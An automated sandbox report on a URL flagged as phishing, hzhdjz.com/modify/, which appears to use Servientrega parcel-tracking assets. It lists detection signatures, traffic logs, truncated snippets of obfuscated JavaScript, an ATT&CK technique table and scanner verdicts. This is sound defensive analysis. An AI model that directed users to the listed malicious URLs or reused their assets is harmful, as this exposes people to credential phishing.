Edit tour

Windows Analysis Report
https://hzhdjz.com/modify/

Overview

General Information

Sample URL:	https://hzhdjz.com/modify/
Analysis ID:	1519931
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

HTML page contains obfuscated javascript

Found iframes

HTML body contains low number of good links

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2184,i,9918689623002901727,15078818395680718541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hzhdjz.com/modify/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: POST /api/MC43MzcyMDI0ODQ0ODQ2ODQ1 HTTP/1.1Host: hzhdjz.comConnection: keep-aliveContent-Length: 308sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/encryptAccept: */*Origin: https://hzhdjz.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://hzhdjz.com/modify/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: https://hzhdjz.com/modify/assets/522b5b49ajMSD.js	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/64.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/48.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/assets/beb21690tE5dP.css	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/assets/7ae8a4f5ajMSD.js	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/53.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/assets/d1a234c2ajMSD.js	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/assets/c27b6911ajMSD.js	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/68.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/57.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/49.svg	Avira URL Cloud: Label: phishing
Source: https://hzhdjz.com/modify/layout/images/67.svg	Avira URL Cloud: Label: phishing

Source: https://hzhdjz.com/modify/assets/7ae8a4f5ajMSD.js	HTTP Parser: const a19_0x5b7454=a19_0x4fa0;(function(_0x23dfe7,_0x52eff6){const _0x15ff47=a19_0x4fa0,_0x55c0f4=_0
Source: https://hzhdjz.com/modify/assets/00b63b5cajMSD.js	HTTP Parser: (function(_0x87ecb3,_0x295b21){const _0x5402eb=a0_0x1f67,_0xcef53a=_0x87ecb3();while(!![]){try{const

Source: https://uzer.co/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-W4NBD3
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-94GBDVKM3R&gacid=1432716961.1727397238&gtm=45je49p0v867598331za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&_ng=1&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1053852118
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/10981864615?random=1727397237586&cv=11&fst=1727397237586&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45je49p0v867598331za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fuzer.co%2F&hn=www.googleadservices.com&frm=0&tiba=UZER%20-%20Agencia%20de%20Consultor%C3%ADa%20y%20Dise%C3%B1o%20UX%20%2F%20UI&npa=0&pscdl=noapi&auid=727213354.1727397238&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/10981864615?random=1727397237617&cv=11&fst=1727397237617&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45je49p0v867598331za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fuzer.co%2F&label=V20XCPG92OMDEKfpx_Qo&hn=www.googleadservices.com&frm=0&tiba=UZER%20-%20Agencia%20de%20Consultor%C3%ADa%20y%20Dise%C3%B1o%20UX%20%2F%20UI&gtm_ee=1&npa=0&pscdl=noapi&auid=727213354.1727397238&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0
Source: https://uzer.co/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-W4NBD3
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-94GBDVKM3R&gacid=1432716961.1727397238&gtm=45je49p0v867598331za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&_ng=1&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1053852118
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/10981864615?random=1727397237586&cv=11&fst=1727397237586&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45je49p0v867598331za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fuzer.co%2F&hn=www.googleadservices.com&frm=0&tiba=UZER%20-%20Agencia%20de%20Consultor%C3%ADa%20y%20Dise%C3%B1o%20UX%20%2F%20UI&npa=0&pscdl=noapi&auid=727213354.1727397238&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Source: https://uzer.co/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/rul/10981864615?random=1727397237617&cv=11&fst=1727397237617&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45je49p0v867598331za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fuzer.co%2F&label=V20XCPG92OMDEKfpx_Qo&hn=www.googleadservices.com&frm=0&tiba=UZER%20-%20Agencia%20de%20Consultor%C3%ADa%20y%20Dise%C3%B1o%20UX%20%2F%20UI&gtm_ee=1&npa=0&pscdl=noapi&auid=727213354.1727397238&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&ct_cookie_present=0

Source: https://hzhdjz.com/modify/	HTTP Parser: No favicon
Source: https://hzhdjz.com/modify/	HTTP Parser: No favicon
Source: https://hzhdjz.com/modify/	HTTP Parser: No favicon
Source: https://hzhdjz.com/modify/	HTTP Parser: No favicon
Source: https://www.servientrega.com/wps/portal/rastreo-envio/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziTS08TTwMTAz93f1cTAwCg5yMfP0MHT2NPQ30w8EKDHAARwP9KGL041EQhd_4cP0oPFYYOfoaQRXgMaMgNzTCINNREQC2ok6g/	HTTP Parser: No favicon
Source: https://www.servientrega.com/wps/portal/rastreo-envio/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziTS08TTwMTAz93f1cTAwCg5yMfP0MHT2NPQ30w8EKDHAARwP9KGL041EQhd_4cP0oPFYYOfoaQRXgMaMgNzTCINNREQC2ok6g/	HTTP Parser: No favicon

Source: https://hzhdjz.com/modify/	HTTP Parser: No <meta name="author".. found
Source: https://uzer.co/	HTTP Parser: No <meta name="author".. found
Source: https://uzer.co/	HTTP Parser: No <meta name="author".. found

Source: https://hzhdjz.com/modify/	HTTP Parser: No <meta name="copyright".. found
Source: https://uzer.co/	HTTP Parser: No <meta name="copyright".. found
Source: https://uzer.co/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50258 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253

Source: chromecache_193.2.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: chromecache_193.2.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: chromecache_201.2.dr, chromecache_529.2.dr	String found in binary or memory: url = 'http://www.linkedin.com/shareArticle?url='+url; equals www.linkedin.com (Linkedin)
Source: chromecache_201.2.dr, chromecache_529.2.dr	String found in binary or memory: url = 'https://www.facebook.com/sharer/sharer.php?u='+url+'&t='+title; equals www.facebook.com (Facebook)
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: "https://www.facebook.com/UZER.co/", equals www.facebook.com (Facebook)
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: "https://www.linkedin.com/company/xtrategy.co/about/" equals www.linkedin.com (Linkedin)
Source: chromecache_443.2.dr	String found in binary or memory: <a href="https://www.facebook.com/UZER.co" target="_blank" class="footer_link"><img equals www.facebook.com (Facebook)
Source: chromecache_534.2.dr	String found in binary or memory: src="https://www.facebook.com/tr?id=303367017008635&ev=PageView equals www.facebook.com (Facebook)
Source: chromecache_443.2.dr, chromecache_279.2.dr, chromecache_455.2.dr	String found in binary or memory: src="https://www.facebook.com/tr?id=524515998044999&ev=PageView&noscript=1" /></noscript> equals www.facebook.com (Facebook)
Source: chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Yj:function(){e=zb()},nd:function(){d()}}};var gc=ja(["data-gtm-yt-inspected-"]),FC=["www.youtube.com","www.youtube-nocookie.com"],GC,HC=!1; equals www.youtube.com (Youtube)
Source: chromecache_442.2.dr, chromecache_336.2.dr, chromecache_531.2.dr, chromecache_542.2.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={eh:e,ah:f,bh:g,Ph:k,Qh:m,Ge:n,Bb:b},q=C.YT;if(q)return q.ready&&q.ready(d),b;var r=C.onYouTubeIframeAPIReady;C.onYouTubeIframeAPIReady=function(){r&&r();d()};F(function(){for(var t=E.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(QC(w,"iframe_api")\|\|QC(w,"player_api"))return b}for(var x=E.getElementsByTagName("iframe"),y=x.length,A=0;A<y;A++)if(!HC&&OC(x[A],p.Ge))return wc("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_221.2.dr, chromecache_500.2.dr	String found in binary or memory: return b}DC.H="internal.enableAutoEventOnTimer";var gc=ja(["data-gtm-yt-inspected-"]),FC=["www.youtube.com","www.youtube-nocookie.com"],GC,HC=!1; equals www.youtube.com (Youtube)
Source: chromecache_506.2.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_506.2.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_506.2.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: hzhdjz.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.servientrega.com
Source: global traffic	DNS traffic detected: DNS query: s.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: mobile.servientrega.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: c.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: snap.licdn.com
Source: global traffic	DNS traffic detected: DNS query: sth0d7m9clo4y72mjm8vh3.s.decidata.tv
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: tracker.metricool.com
Source: global traffic	DNS traffic detected: DNS query: www.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: uzer.co
Source: global traffic	DNS traffic detected: DNS query: owlcarousel2.github.io
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: unpkg.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-scripts.com
Source: global traffic	DNS traffic detected: DNS query: static.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: js.hs-banner.com
Source: global traffic	DNS traffic detected: DNS query: js.hs-analytics.net
Source: global traffic	DNS traffic detected: DNS query: js.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: script.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: forms.hscollectedforms.net
Source: global traffic	DNS traffic detected: DNS query: vc.hotjar.io
Source: global traffic	DNS traffic detected: DNS query: ws.hotjar.com
Source: global traffic	DNS traffic detected: DNS query: content.hotjar.io
Source: global traffic	DNS traffic detected: DNS query: forms.hsforms.com
Source: global traffic	DNS traffic detected: DNS query: track.hubspot.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Fri, 27 Sep 2024 00:32:49 GMTTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Fri, 27 Sep 2024 00:32:55 GMTTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Fri, 27 Sep 2024 00:32:58 GMTTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Fri, 27 Sep 2024 00:33:14 GMTTransfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2184,i,9918689623002901727,15078818395680718541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hzhdjz.com/modify/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 --field-trial-handle=2184,i,9918689623002901727,15078818395680718541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://fontawesome.com	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://connect.facebook.net/	0%	URL Reputation	safe
https://clutch.co/profile/uzer-0#review-1956301	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvQj3&sid=s0KKfmYKshusOdE2AHvj	0%	Avira URL Cloud	safe
https://www.instagram.com/UZER_co/	0%	Avira URL Cloud	safe
https://uzer.co/images/port5-m.png	0%	Avira URL Cloud	safe
https://youtu.be/:id	0%	Avira URL Cloud	safe
https://uzer.co/error.html	0%	Avira URL Cloud	safe
https://vimeo.com/groups/:group/videos/:id	0%	Avira URL Cloud	safe
https://hzhdjz.com/modify/assets/522b5b49ajMSD.js	100%	Avira URL Cloud	phishing
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvVdT&sid=OacSPYsmFFuy1zIZAHvv	0%	Avira URL Cloud	safe
https://fontawesome.com/license/free	0%	URL Reputation	safe
http://daneden.me/animate	0%	URL Reputation	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvIXL&sid=_crVubC_5MLuNEBHAHvS	0%	Avira URL Cloud	safe
https://uzer.co/images/port7.png	0%	Avira URL Cloud	safe
https://www.uzer.co/	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvOt2&sid=nkQPtMDZtp8EkMUSAHvg	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvPny&sid=nkQPtMDZtp8EkMUSAHvg	0%	Avira URL Cloud	safe
http://modernizr.com/download/#-csstransforms-csstransforms3d-shiv-cssclasses-prefixed-teststyles-te	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=ULPwAcmOXMgvI-csAHvd	0%	Avira URL Cloud	safe
https://github.com/twbs/bootstrap/graphs/contributors)	0%	Avira URL Cloud	safe
https://hzhdjz.com/modify/layout/images/64.svg	100%	Avira URL Cloud	phishing
https://mobile.servientrega.com/WebSitePortal/assets/css/plug.min.css	0%	Avira URL Cloud	safe
https://clutch.co/profile/uzer-0#review-1955220	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvHyu	0%	Avira URL Cloud	safe
https://uzer.co/css/style.css	0%	Avira URL Cloud	safe
https://uzer.co/images/ico-procesos-03.svg	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvMT-	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvGkd&sid=6868GHgcXyLXQhqVAHvP	0%	Avira URL Cloud	safe
https://hzhdjz.com/socket.io/?EIO=4&transport=polling&t=P8mvLuJ&sid=ndsqEy2MuqcjGiqjAHva	0%	Avira URL Cloud	safe
https://hzhdjz.com/modify/layout/images/48.svg	100%	Avira URL Cloud	phishing
https://hzhdjz.com/socket.io/?EIO=4&transport=websocket&sid=s0KKfmYKshusOdE2AHvj	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/vanilla-lazyload	0%	Avira URL Cloud	safe
https://hzhdjz.com/api/MC4xMTYyOTU2MDkzMzQzMjgxNA==	0%	Avira URL Cloud	safe
https://uzer.co/images/uzer-heading-bg-2024.jpg	0%	Avira URL Cloud	safe
https://uzer.co/images/ico-procesos-cta.svg	0%	Avira URL Cloud	safe

Source: chromecache_508.2.dr	String found in binary or memory: http://daneden.me/animate
Source: chromecache_463.2.dr, chromecache_424.2.dr	String found in binary or memory: http://github.com/kenwheeler/slick
Source: chromecache_463.2.dr, chromecache_424.2.dr	String found in binary or memory: http://github.com/kenwheeler/slick/issues
Source: chromecache_202.2.dr	String found in binary or memory: http://hubs.ly/H0702_H0
Source: chromecache_472.2.dr, chromecache_301.2.dr	String found in binary or memory: http://jqueryvalidation.org/
